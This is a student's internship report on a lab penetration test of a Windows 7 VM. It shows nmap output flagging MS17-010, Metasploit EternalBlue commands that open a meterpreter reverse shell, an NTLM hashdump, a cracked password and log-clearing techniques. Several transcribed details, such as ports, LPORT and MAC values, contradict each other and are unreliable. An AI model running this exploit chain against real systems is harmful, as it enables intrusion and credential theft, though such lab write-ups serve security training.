

A PROJECT REPORT ON VULNERABILITY ASSESSMENT AND PENETRATION TESTING

The partial fulfilment of the requirements for completion of internship in the domain of Cyber Security is submitted.

Submitted by

KOLLU JAHNAVI

(Student)

Under The Guidance Of

VAISHNAVU CV

(Principal Cyber Security Engineer, Mentor,
VAPT, Ethical Hacker)

YHILLS EDUTECH

Noida Uttar Pradesh

PENETRATION TESTING ON WINDOWS

Executive Summary:

The penetration testing revealed several critical vulnerabilities within the Windows environment, including misconfigurations, weak authentication mechanisms, and exploitable software weaknesses. These vulnerabilities pose significant risks to the confidentiality, integrity, and availability of the organization's assets. Recommendations are provided to address these vulnerabilities and mitigate potential security threats effectively.

Introduction:

Penetration testing, often referred to as ethical hacking, is a proactive approach to assessing the security of IT systems by simulating real-world cyberattacks. Specifically focusing on Windows systems, this form of testing involves identifying vulnerabilities and potential exploits within the Windows operating system and related services. With Windows being one of the most widely used operating systems in both corporate and personal computing environments, ensuring its security is paramount in safeguarding sensitive data and maintaining operational integrity.

The purpose of conducting penetration testing on Windows systems is twofold: to uncover weaknesses that could be exploited by malicious actors and to provide organizations with actionable insights to strengthen their security defences. By systematically probing Windows servers, workstations, and associated network infrastructure, penetration testers can identify vulnerabilities such as misconfigurations, outdated software, weak access controls, and known security flaws.

Tools Used:

- nmap – To enumerate the target host and also to get vulnerability information of that host.
- Metasploit – The exploit tool.
- john – To crack the hash of the NTLM password.
- A few very basic GNU / Linux commands.

NON-TECHNICAL REPORT

Reconnaissance:

Reconnaissance can be categorized as either active or passive depending on what methods are used to gather information. Passive reconnaissance pulls information from resources that are already publicly available whereas active reconnaissance involves directly interacting with the target system to gain information. Typically, both methods are necessary to form a full picture of the target's vulnerabilities.

Scanning:

Once all the relevant data has been gathered in the reconnaissance phase, it's time to move on to scanning in this penetration testing phase, the tester uses various tools to identify open ports and check network traffic on the target system. Because open ports are potential entry points for attackers, penetration testers need to identify as many open port as possible for the next penetration phase.

This steps can also be performed outside of penetration testing, in those cases, it's referred to simply as vulnerability scanning and is usually an automated process. However, there are drawbacks to only performing a scan without a full penetration test -namely scanning can identify a potential thread but cannot determine the level at which hackers can gain access. So, while scanning is essential for cybersecurity, it also needs human intervention in the form of penetration testers to reach its full potential.

Vulnerability Assessment:

The third penetration testing phase is vulnerability assessment, in which the tester uses all the data gathered in the reconnaissance and scanning phase to identify potential vulnerability and determine whether they can be exploited. Much like scanning vulnerability assessment is a useful tool on its own but is more powerful when combined with the other penetration testing phases.

When determining the risk of discovered vulnerabilities during this stage, penetration testers have many resources to turn to. One is the National Vulnerability Database (NVD), a repository of vulnerability management data created and maintained by the U.S govt that analyses the software vulnerability published in the Common Vulnerabilities and Exposures(CVE)database. The NVO refers the diversity of known vulnerabilities using the common Vulnerability Scoring System (CVSS).

Exploitation:

Once vulnerabilities have been identified, it's time for exploitation. In this penetration testing phase, the penetration tester attempts to access the target system and exploit the identified vulnerabilities, typically by using a tool like Metasploit to simulate real-world attacks.

This is perhaps the most delicate penetration testing phase because accessing the target system requires bypassing security restrictions. Through system crashes during penetration testing are rare, testers must still be cautious to ensure that the system isn't compromised or damaged.

Reporting:

Once the exploitation phase is complete, the tester prepares a report documenting the penetration test's findings. The report generated in this final penetration testing phase can be used to fix any vulnerabilities found in the system and improve the organization's security posture.

TECHNICAL REPORT

Methodology:

The methodology used to perform penetration testing is mentioned below which includes the phases of penetration testing.

1. Reconnaissance
2. Scanning
3. Gaining access
4. Maintaining access
5. Clearing the tracks
6. Reporting



1.Reconnaissance:

Information gathering phase to understand the target environment, including network topology, operating systems, applications, and services running on the Windows systems. This phase is also named as Foot printing and information gathering phase. In this phase, hacker gathers or acquires the entire information about a target before launching an attack. These data covers important areas.

2. Scanning:

In this stage, the ethical hacker begins testing the networks and machines to identify potential attack surfaces. This involves gathering information on all machines, users, and services within the network using automated scanning tools.

```
(kali@kali)~$ sudo arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:86:9f:86, IPv4: 192.168.254.128
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/roynhill/arp-scan)
192.168.254.1 00:50:56:c0:00:00 (Unknown)
192.168.254.2 00:50:56:e6:aa:53 (Unknown)
192.168.254.130 00:0c:29:5d:74:83 (Unknown)
192.168.254.254 00:50:56:f2:cd:97 (Unknown)

4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.256 seconds (113.48 hosts/sec). 4 responded
(kali@kali)~$
```

Penetration testing typically undertakes three types of scans:

- Network Mapping
- Port Scanning
- Network Mapping

Network Mapping:

This involves discovering the network topology, including host information, servers, routers, and firewalls within the host network. Once mapped, white hat hackers can visualize and strategize the next steps of the ethical hacking process.

So the first thing to do is to enumerate the virtual machine to find out open and to what this machine is vulnerable. For this I used nmap with the options to scan version numbering(-sV). And an important one in this case, --script=Vuln.

```
(kali@kali)~$ sudo nmap -sV --script=Vuln -vv 192.168.254.130
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-04-13 12:18 EDT
NSE: Loaded 150 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 12:18
Completed NSE at 12:18, 10.02s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 12:18
Completed NSE at 12:18, 0.00s elapsed
Initiating ARP Ping Scan at 12:18
Scanning 192.168.254.130 [1 port]
Completed ARP Ping Scan at 12:18, 0.11s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:18
Completed Parallel DNS resolution of 1 host. at 12:18, 13.00s elapsed
Initiating SYN Stealth Scan at 12:18
Scanning 192.168.254.130 [1000 ports]
Discovered open port 135/tcp on 192.168.254.130
Discovered open port 139/tcp on 192.168.254.130
Discovered open port 49153/tcp on 192.168.254.130
Discovered open port 49154/tcp on 192.168.254.130
Discovered open port 445/tcp on 192.168.254.130
Discovered open port 49155/tcp on 192.168.254.130
Discovered open port 49152/tcp on 192.168.254.130
Discovered open port 49156/tcp on 192.168.254.130
Completed SYN Stealth Scan at 12:18, 1.35s elapsed (1000 total ports)
Initiating Service scan at 12:18
Scanning 8 services on 192.168.254.130
Service scan Timing: About 50.00% done; ETC: 12:20 (0:00:54 remaining)
Completed Service scan at 12:19, 58.62s elapsed (8 services on 1 host)
NSE: Script scanning 192.168.254.130.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 12:19
Completed NSE at 12:19, 8.14s elapsed
```

Fig: - Network Mapping

Port Scanning:

Ethical hackers use automated tools to identify any open ports on the network. This makes it an efficient mechanism to enumerate the services and live systems in a network and how to establish a connection with these components.

We see that there are few open ports. We also see that this machine is vulnerable to different exploits.

```

Completed ARP Ping Scan at 12:18, 0.11s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:18
Completed Parallel DNS resolution of 1 host. at 12:18, 13.00s elapsed
Initiating SYN Stealth Scan at 12:18
Scanning 192.168.254.130 [1000 ports]
Discovered open port 135/tcp on 192.168.254.130
Discovered open port 139/tcp on 192.168.254.130
Discovered open port 40153/tcp on 192.168.254.130
Discovered open port 40154/tcp on 192.168.254.130
Discovered open port 445/tcp on 192.168.254.130
Discovered open port 40155/tcp on 192.168.254.130
Discovered open port 49152/tcp on 192.168.254.130
Discovered open port 49156/tcp on 192.168.254.130
Completed SYN Stealth Scan at 12:18, 1.35s elapsed (1000 total ports)
Initiating Service scan at 12:18
Scanning 8 services on 192.168.254.130
Service scan Timing: About 50.00s done; ETC: 12:20 (0:00:54 remaining)
Completed Service scan at 12:19, 58.62s elapsed (8 services on 1 host)
NSE: Script scanning 192.168.254.130.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 12:19
Completed NSE at 12:19, 8.14s elapsed

```

```

Initiating NSE at 12:19
Completed NSE at 12:19, 8.14s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 12:19
Completed NSE at 12:19, 0.09s elapsed
Nmap scan report for 192.168.254.130
Host is up, received arp-response (0.00038s latency).
Scanned at 2024-04-13 12:18:25 EDT for 69s
Not shown: 992 closed tcp ports (reset)
PORT      STATE SERVICE        REASON      VERSION
135/tcp    open  msrpc           syn-ack ttl 128 Microsoft Windows RPC
139/tcp    open  netbios-ssn     syn-ack ttl 128 Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds    syn-ack ttl 128 Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
49152/tcp  open  msrpc           syn-ack ttl 128 Microsoft Windows RPC
49153/tcp  open  msrpc           syn-ack ttl 128 Microsoft Windows RPC
49154/tcp  open  msrpc           syn-ack ttl 128 Microsoft Windows RPC
49155/tcp  open  msrpc           syn-ack ttl 128 Microsoft Windows RPC
49156/tcp  open  msrpc           syn-ack ttl 128 Microsoft Windows RPC
MAC Address: 00:0C:29:5D:24:83 (VMware)
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

```

Fig: - Port Scanning

Vulnerability Scanning:

The use of automated tools to detect weaknesses that can be exploited to orchestrate attacks. While there are several tools available, here are a few popular ethical hacking tools commonly used during the scanning phase:

- SNMP Sweepers
- Ping sweeps
- Network mappers
- Vulnerability scanners

```

MAC Address: 00:0C:29:5D:24:83 (VMware)
Service Info: Host: JON-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_ samba-vuln-cve-2012-1182: NT_STATUS_ACCESS_DENIED
|_ smb-vuln-ms10-061: NT_STATUS_ACCESS_DENIED
|_ smb-vuln-ms10-054: false
|_ smb-vuln-ms17-010:
|   VULNERABLE:
|     Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs: CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|       servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 2) scan.
Initiating NSE at 12:19
Completed NSE at 12:19, 0.00s elapsed
NSE: Starting runlevel 2 (of 2) scan.
Initiating NSE at 12:19
Completed NSE at 12:19, 0.00s elapsed
Read data files from: /usr/bin/./share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 92.66 seconds
Raw packets sent: 1087 (47.812KB) | Rcvd: 1001 (40.060KB)

```

Fig: - Vulnerability Scanning

3. Gaining access:

Once ethical hackers expose vulnerabilities through the process's first and second hacking phases, they now attempt to exploit them for administrative access. The third phase involves attempting to send a malicious payload to the application through the network, an adjacent subnetwork, or physically using a connected computer. Hackers typically use many hacking tools and techniques to simulate attempted unauthorized access, including:

- Buffer overflows
- Phishing
- Injection Attacks
- XML External Entity Attacks
- Using components with known vulnerabilities

If the attacks are successful, the hacker has control of the whole or part of the system and may simulate further attacks such as data breaches and Distributed Denial of Service (DDoS).

```
[kali@kali]~$ msfrconsole
```

Metasploit tip: Use help <command> to learn more about any command

```
((((((( )))  
      ))))  
    ((   ) 0 0 ((   ) _____ \\\n          |         / M S F \\ |\n          |       _o_o_ /     \| *\n          |           |||  whl ||\n          |           |||  ||| 
```

```
= [ metasploit v6.3.55-dev ]  
+ -- ==[ 2897 exploits - 1235 auxiliary - 422 post  
+ -- ==[ 1391 payloads - 46 encoders - 11 nops  
+ -- ==[ .9 evasion ]
```

Metasploit Documentation: https://docs.metasploit.com/

msf6 > banner

[illegible]

```

#####
## ## ##
https://metasploit.com

=[ metasploit v6.3.55-dev ]
+ -- == 2397 exploits - 1235 auxiliary - 422 post ]
+ -- == 1391 payloads - 46 encoders - 11 nops ]
+ -- == 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > █

```

```

msf6 exploit(windows/smb/ms17_010_eternalblue) > set RHOST 192.168.254.130
RHOST => 192.168.254.130
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.254.128
LHOST => 192.168.254.128
msf6 exploit(windows/smb/ms17_010_eternalblue) > set LPORT 4455
LPORT => 4455
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

```

Fig: - Gaining Access

4. Maintaining access:

The fourth phase of the ethical hacking process involves processes to ensure the hacker can access the application for future use. A white-hat hacker continuously exploits the system for further vulnerabilities and escalates privileges to understand how much control attackers can gain once they pass security clearance. Some attackers may also try to hide their identity by removing the evidence of an attack and installing a backdoor for future access.

```

msf6 > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options

Module options (exploit/windows/smb/ms17_010_eternalblue):



| Name          | Current Setting | Required | Description                                                                                                                                           |
|---------------|-----------------|----------|-------------------------------------------------------------------------------------------------------------------------------------------------------|
| RHOSTS        |                 | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html                                                |
| RPORT         | 445             | yes      | The target port (TCP)                                                                                                                                 |
| SMBDomain     |                 | no       | (Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines. |
| SMBPass       |                 | no       | (Optional) The password for the specified username                                                                                                    |
| SMBUser       |                 | no       | (Optional) The username to authenticate as                                                                                                            |
| VERIFY_ARCH   | true            | yes      | Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.     |
| VERIFY_TARGET | true            | yes      | Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded Standard 7 target machines.               |



Payload options (windows/x64/meterpreter/reverse_tcp):



| Name     | Current Setting | Required | Description                                               |
|----------|-----------------|----------|-----------------------------------------------------------|
| EXITFUNC | thread          | yes      | Exit technique (Accepted: '', seh, thread, process, none) |
| LHOST    | 192.168.254.128 | yes      | The listen address (an interface may be specified)        |
| LPORT    | 4444            | yes      | The listen port                                           |



Exploit target:

```

```

msf6 exploit(windows/smb/ms17_010_eternalblue) > exploit

[*] Started reverse TCP handler on 192.168.254.128:4455
[*] 192.168.254.130:445 - Using auxiliary/scanner/smb/ms17_010 as check
[*] 192.168.254.130:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.254.130:445 - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.254.130:445 - The target is vulnerable.
[*] 192.168.254.130:445 - Connecting to target for exploitation.
[*] 192.168.254.130:445 - Connection established for exploitation.
[*] 192.168.254.130:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.254.130:445 - CORE raw buffer dump (42 bytes)
[*] 192.168.254.130:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 192.168.254.130:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 192.168.254.130:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[*] 192.168.254.130:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.254.130:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.254.130:445 - Sending all but last fragment of exploit packet
[*] 192.168.254.130:445 - Starting non-paged pool grooming
[*] 192.168.254.130:445 - Sending SMBv2 buffers
[*] 192.168.254.130:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.254.130:445 - Sending final SMBv2 buffers.
[*] 192.168.254.130:445 - Sending last fragment of exploit packet!
[*] 192.168.254.130:445 - Receiving response from exploit packet
[*] 192.168.254.130:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.254.130:445 - Sending egg to corrupted connection.
[*] 192.168.254.130:445 - Triggering free of corrupted buffer.
[*] Sending stage (201798 bytes) to 192.168.254.130
[*] Meterpreter session 1 opened (192.168.254.128:4455 -> 192.168.254.130:49157) at 2024-04-13 12:28:54 -0400
[*] 192.168.254.130:445 - -----WIN-----
[*] 192.168.254.130:445 - -----

meterpreter > help

```

Fig:- Maintaing Access

5. Clearing the tracks:

This is the final step in order to complete the entire ethical hacking process. If this phase is completed successfully, the ethical hacker has managed to hack into a system or network. He could inflict as much damage as possible and has managed to leave the system without a trace. They need to cover their tracks throughout the process in order to avoid detection while entering and leaving the network or server.

To avoid any evidence that leads back to their malicious activity, hackers perform tasks that erase all traces of their actions. These include:

- Uninstalling scripts/applications used to carry out attacks
- Modifying registry values
- Clearing logs
- Deleting folders created during the attack

For those hackers looking to maintain undetected access, they tend to hide their identity using techniques such as:

- Tunnelling
- Stenography

Having successfully performed all the 5 steps of ethical hacking, the ethical hacker then concludes the steps of ethical hacking by documenting a report on the vulnerabilities and suggesting remediation advice.

Cracking Password:

Password cracking is a mechanism that is used in most of the parts of hacking. Exploitation uses it to exploit the applications by cracking their administrator or other account passwords, information Gathering uses it when we have to get the social media or other employees of the target organization, WIFI Hacking uses it when we have to crack the hash from the hash files, etc.

So to be a good Ethical hacker one must be aware of password cracking techniques. Though is easy to crack passwords by just using guessing techniques, it is very time consuming and less efficient so in order to automate the task, We have a lot of tools. When it comes to tools Kali Linux is the Operating System that Stands first, so here we have a list of tools in kali Linux may be used for password cracking.

```
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::
```

```
(kali@kali)-[~/john]
$ cat ~/.john
cat: /home/kali/.john: Is a directory

(kali@kali)-[~/john]
$ cat john.pot
$NT$ffb43f0de35be4d9917ac0cc8ad57f8d:alqfna22

(kali@kali)-[~/john]
$
```

Fig: -Process Done For Cracking Password

Report:

Using Kali Linux I successfully completed the Penetrating Process and cracked the password for Windows 7.

Discussion:

Penetration testing is a comprehensive methodology, which is mostly used to identify the vulnerabilities in a system. It allows testers to exploit the systems and identify the extent of security levels in the organization. Penetration testing helps determine which vulnerabilities are exploitable and the degree of information exposure or network control that the organization could expect an attacker to achieve after successfully exploiting vulnerability.

Conclusion:

Ethical hacking is a crucial discipline in the field of cybersecurity. By leveraging ethical hacking methodologies, individuals and organizations can identify and address vulnerabilities, strengthen their defences, and protect sensitive information from malicious threats.

Recommendations:

- Obtain proper authorization
- Plan and scope your test
- Use legitimate tools and techniques
- Follow ethical guidelines
- Test password security
- Document and report findings

Acknowledgment:

I would like to express my deep and sincere gratitude to Vaishnavu CV, Principal Cyber Security Engineer, Mentor, VAPT, Ethical hacker, for giving me this opportunity to do research and providing valuable suggestions throughout my research. It was a great privilege and honour to work and study under his guidance.

(KOLLU JAHNAVI)